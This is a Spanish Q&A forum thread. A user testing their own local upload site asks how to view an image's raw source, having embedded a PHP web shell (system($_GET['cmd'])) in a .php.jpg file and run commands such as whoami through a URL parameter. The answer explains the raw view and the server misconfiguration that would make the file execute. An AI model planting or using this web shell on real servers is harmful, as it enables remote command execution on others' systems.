1

Principalmente me gustaría saber como poder ver el código fuente de una imagen en un navegador web.

Tengo una web donde pido al usuario que se suba una imagen para posteriormente mostrarla.

Ejemplo :

Como vemos en este caso tengo la carta llamada 324. Lo que ahora quiero hacer sobre esta imagen es dirigirme a su ruta para visualizarla independientemente (lo cuál veo desde el código fuenta de la página)

Ruta independiente de la carta 324 : http://localhost/M9%20-%20Cartas%20Rol/uploadedImages/dragon.php.jpg

Ahora, una vez aquí me gustaría ver el código fuente / RAW de la imagen presionando Ctrl + U. El problema es que no se visualiza el código fuente y la opción Ctr + U esta bloqueada.

Output Vista de la imagen

Output esperado si se pudiera presionar Ctrl + U o con otra forma :
Aquí tendría que visualizar el código fuente / RAW de la imagen

Ejemplo del código fuente de una imagen :

@�i�D�!H@�tc�$�l��WӺ���( ̱�䋤@ⷠ�@MQ�GX1�R��Ha+=^��#i��8.�KGh9}���▒���R▒�mJ>�y�Ĭ_���nRR��
                                                                                      L�~'P��cA���έ���⤀�:�� +�Ȁ�!�.�\Dy�w�
�2 +�u��@W�^C�]��
                 �
�b��d@W��x��"��X��p�:�� +�Ȁ�!�.�\D�/(�7�;[("t&��X��Փ�Ƽ=ų���P���_�(��b�
oF`:�JI��1G����2��emU���ϕu�%�@Z��ڜ�P8�7`�5�D9�D� &K*    *K��z�Zn��:
M E&}+r�d�K��(
              ��A.���m�▒�� *�A���֯XL�tS,��p^�(�Q�$uz���9*
                                                        �*��l�Q�3M�Ōc25?;-��7FV�*һW�tr�Y/���gҲ���I�M#?Zn<v�&Qb:�dȁ�;�wӳ�,���'�M�cґI��O�Yb2�c� �2/,��3s��S?T�زVm�����jUJ4
                                           m#]E�2�2�9�/l��Ѻ�=��̡�ݏ¥�[�-��$�bĩ��>J�v2�*NSu�bxG���M���)ϧ:���f������5f�����NIUj-&�i�HӲ�,�<��]l��i��k<����4���$Ҩ�4����/�Zj=:e=c�����g���w▒���Z����K�$�UU�sW]^٫6������ګe�Qf޶�:�N��lfi0p��2����'�V�K�82��K��%�y]F!�8æ�:�F��?E���\YRp�f���Į��>rv�(�Hhn�h�ѥ�ވwE��"�w�֋�0a�D�ڣ麊�_�������%���7ki▒?AR�]4�e`�k+���r�f�X�En������H�헴UN��?�94�d��s.oƩ=)ʸ6�ZVcg��t$2����W��Fm�f���VwK"�"zN��i+>�#-OKâ

Me vendría muy bien una respuesta a esto, es importante! Gracias!

Utilidad de visualizar código fuente

Como vemos anteriormente, la imagen a la que se quiere ver el código fuente dispone de una extensión .php.jpg. Esto permite modificar el código fuente de la imagen (Carácteres en el bloque de código anterior) permitiendo inyectar código malicioso php.

En este caso, la imagen presentada anteriormente a ver el código fuente ha sido alterada en código fuente inyectando el siguiente código php :

<?php system($_GET['cmd']);?>

@�i�D�!H@�tc�$�l��WӺ���( ̱�䋤@ⷠ�@MQ�GX1�R��Ha+=^��#i��8.�KGh9}���▒���R▒�mJ>�y�Ĭ_���nRR��
<?php system($_GET['cmd']);?>                                                                              L�~'P��cA���έ���⤀�:�� +�Ȁ�!�.�\Dy�w�
�2 +�u��@W�^C�]��
                 �
�b��d@W��x��"��X��p�:�� +�Ȁ�!�.�\D�/(�7�;[("t&��X��Փ�Ƽ=ų���P���_�(��b�
oF`:�JI��1G����2��emU���ϕu�%�@Z��ڜ�P8�7`�5�D9�D� &K*    *K��z�Zn��:
M E&}+r�d�K��(
              ��A.���m�▒�� *�A���֯XL�tS,��p^�(�Q�$uz���9*
j-&�i�HӲ�,�<��]l��i��k<����4���$Ҩ�4����/

Este código implementado en el código de la imagen permite que al acceder a su ruta independiente mencionada anteriormente :
http://localhost/M9%20-%20Cartas%20Rol/uploadedImages/dragon.php.jpg

Se pueda aplicar una ejecucción remota de comandos a la parte del servidor que gestiona la web. Esta ejecucción remota de comandos se llama indicando un valor al $_GET['cmd'] anterior de la siguiente forma :

http://localhost/M9%20-%20Cartas%20Rol/uploadedImages/dragon.php.jpg?cmd=COMANDO

Ahora bien, la finalidad de visualizar el código fuente una vez ejecutado la inyección del comando utilizando [PATH][IMG]?cmd=COMANDO es que el resultado del comando inyectado se visualiza de nuevo en el código fuente de la imagen.

Ejemplo
http://localhost/M9%20-%20Cartas%20Rol/uploadedImages/dragon.php.jpg?cmd=whoami

Visualizamos el código fuente con el resultado :

@�i�D�!H@�tc�$�l��WӺ���( ̱�䋤@ⷠ�@MQ�GX1�R��Ha+=^��#i��8.�KGh9}���▒���R▒�mJ>�y�Ĭ_���nRR��
www-data                                                                            L�~'P��cA���έ���⤀�:�� +�Ȁ�!�.�\Dy�w�
�2 +�u��@W�^C�]��
                 �
�b��d@W��x��"��X��p�:�� +�Ȁ�!�.�\D�/(�7�;[("t&��X��Փ�Ƽ=ų���P���_�(��b�
oF`:�JI��1G����2��emU���ϕu�%�@Z��ڜ�P8�7`�5�D9�D� &K*    *K��z�Zn��:
M E&}+r�d�K��(
              ��A.���m�▒�� *�A���֯XL�tS,��p^�(�Q�$uz���9*
j-&�i�HӲ�,�<��]l��i��k<����4���$Ҩ�4����/

NOTA : Estoy completamente seguro de que el código fuente se puede visualizar. El fin de esta pregunta es prevenir comandos remotos y posibles shells inversas utilizando netcat. Gracias !

10
  • Cualquier duda o aclaración estaré constantemente revisando la pregunta. Gracias!
    – RuthIsRoot
    el 9 ene. 2022 a las 14:42
  • ¿Qué utilidad tiene para ti ver el código fuente de la imagen? Lo que enlazas en la pregunta es simplemente la representación en cadena (String) de los datos binarios que componen la imagen. ¿Qué información útil se puede sacar de dicha representación? el 9 ene. 2022 a las 14:49
  • @MauricioContreras Si te fijas la extensión de la imagen es .php.jpg. La utilidad que tiene para mi ver el codigo fuente de la imagen es comprobar que existe una vulnerabilidad de comandos remotos mediante inyección php en la imagen. Ahora actualizo la pregunta para que quede claro y no se haga un comentario demasiado largo
    – RuthIsRoot
    el 9 ene. 2022 a las 14:51
  • 1
    En condiciones normales, un archivo con extensión .jpg no puede ser ejecutado por PHP (ni otro lenguaje), a menos que tengas una configuración específica en el servidor o que tu proyecto sea el causante de esa vulnerabilidad.
    – Triby
    el 9 ene. 2022 a las 18:56
  • 1
    en chrome: abriendo la url de la imagen ( en este caso i.stack.imgur.com/SHpXU.jpg ) y con el inspector abierto ver le tab sources, en otros navegadores por lo general hay una opcion de boton derecho, copiar el request/response como raw/curl y verlo en la consola el 9 ene. 2022 a las 19:19

1 respuesta 1

1

Parece que en Chrome puedes verlo fácilmente, tal como comenta @aloMalbarez; para hacerlo en otros navegadores, como Firefox, tal vez tengas que instalar una extensión.

O puedes agregar un Javascript en tu sitio, visible solo para el administrador, donde realices una petición AJAX para obtener el código de la imagen:

let image = document.querySelector('#image');
let code = document.querySelector('code');

document.querySelector('#btn').addEventListener('click', e => {
    // Petición AJAX para leer imagen en Javascript
    fetch(image.src)
        .then(resp => resp.text())
        .then(data => {
            // Ver código de imagen
            code.innerText = data;
        })
        .catch(e => console.log(e));
});
#code {
    display: block;
    border: 1px #aaa solid;
}
<img src="https://source.unsplash.com/user/c_v_r/100x100" id="image">
<button id="btn">Obtener código</button>
<code id="code"></code>

Posible vulnerabilidad en el servidor

Para que ese archivo dragon.php.jpg pueda ser ejecutado por el intérprete de PHP, sería necesario que haya un error en la configuración; supongamos que tienes PHP instalado como módulo de Apache. El archivo de configuración tendrá algo como:

<FilesMatch ".+\.ph(ar|p|tml)$">
    SetHandler application/x-httpd-php
</FilesMatch>

Esa directiva asigna solo las siguientes extensiones para ser interpretadas por PHP:

.phar
.php
.phtml

Entonces, para que esa vulnerabilidad sea viable por configuración, tendrías que modificar la expresión regular, por ejemplo, eliminando el caracter $, que significa fin de línea, haciendo que pueda haber más contenido después de la extensión buscada.

Vulnerabilidad en la aplicación

De acuerdo al punto anterior, la única posibilidad que queda para que PHP interprete y ejecute ese archivo es que lo hagas desde tu aplicación, ya sea con include o require, pero..., ¿quién en su sano juicio ejecutaría un archivo subido por usuario y/o con extensión diferente de .php?

Otras posibilidades

Aparte de esto, un mal manejo de subida de archivos también implica riesgos de seguridad, ya sea por no verificar la extensión o contenido del archivo, pero eso es tema aparte.

Tu Respuesta

By clicking “Publica tu respuesta”, you agree to our terms of service and acknowledge you have read our privacy policy.

¿No es la respuesta que buscas? Examina otras preguntas con la etiqueta o formula tu propia pregunta.